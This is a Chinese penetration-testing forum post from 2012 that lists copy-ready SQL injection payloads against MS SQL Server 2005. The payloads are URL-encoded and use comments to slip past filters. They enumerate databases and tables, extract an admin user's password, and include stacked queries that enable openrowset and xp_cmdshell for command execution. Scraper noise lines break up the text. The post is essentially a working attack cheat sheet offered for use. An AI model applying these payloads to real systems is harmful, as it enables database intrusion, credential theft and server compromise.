中国网络渗透测试联盟
标题:
MSsql2005注入语句
[打印本页]
作者:
admin
时间:
2012-9-13 17:19
标题:
MSsql2005注入语句
8 Z: @" M- e& m4 I# v+ `
; o5 u5 X, C2 K9 Q* l. R
, \& ?) y% A4 @
[Copy to clipboard]CODE:
& }% K6 }/ X2 B" A
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
- h: `4 r7 t7 P% A, o& W, x
8 c f! b% Z& k" N, k+ ^
爆表语句,somedb部份是所要列的数据库，红色数字1累加
7 z5 L% v0 r1 L0 ?% ?
9 O8 j2 R7 I' \# g& D1 s
! p' e3 `; c+ T$ v5 @2 }
[Copy to clipboard]CODE:
) [9 A) U% k8 _, F
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
! E5 m; Z8 p" e: P8 F/ Q9 Q% @8 U
5 }, n1 g4 Z7 x6 M' @
爆字段语句，爆表admin里user='icerover'的密码段
% k8 }9 d B8 n6 A8 m
) J5 r- F! A$ R- t9 ^& i/ z' w! L
1 E1 N. O. s! {5 h ~' ?
[Copy to clipboard]CODE:
- O- @8 P1 g" B a: d
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
: S: b+ ~- S# x" s7 _& T
; o6 w; L+ g8 R7 u4 C% ], m8 n8 e
mssql2005默认没有开xp_cmdshell的，openrowset也不能用
9 N; X, T" ~; S) |: } O
如果是sa权限，可以这样来开启
' E" F, g) D+ O# u2 ~
开启openrowset
2 L& b! W- Z7 B+ C3 t4 I
, e* _" [" J, J; A* a
0 S0 f2 Y0 F9 \* B% P& t0 v
[Copy to clipboard]CODE:
7 ? g ?: c, ~ C
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
4 `0 t {2 @1 @% X2 ]% P
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
; G: Z s4 U$ C* H/ Q0 q
3 P+ l$ T( _& y+ J, t) g
开启xp_cmdshell
/ m0 X7 Q8 g3 b0 [ m# [4 {
# \3 K( j& i. } H% x; Q: Q
6 n' \ e% t# H7 ~3 u
[Copy to clipboard]CODE:
% k5 x4 M' Y$ p7 @# M
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
6 `5 V. i0 p% |/ Z
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
' D; b; k2 O% m8 P' v' W
4 ~5 |+ F' g: L1 x/ r# X
ok,over~~晚安
; m+ X$ M8 n8 [, C$ x
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2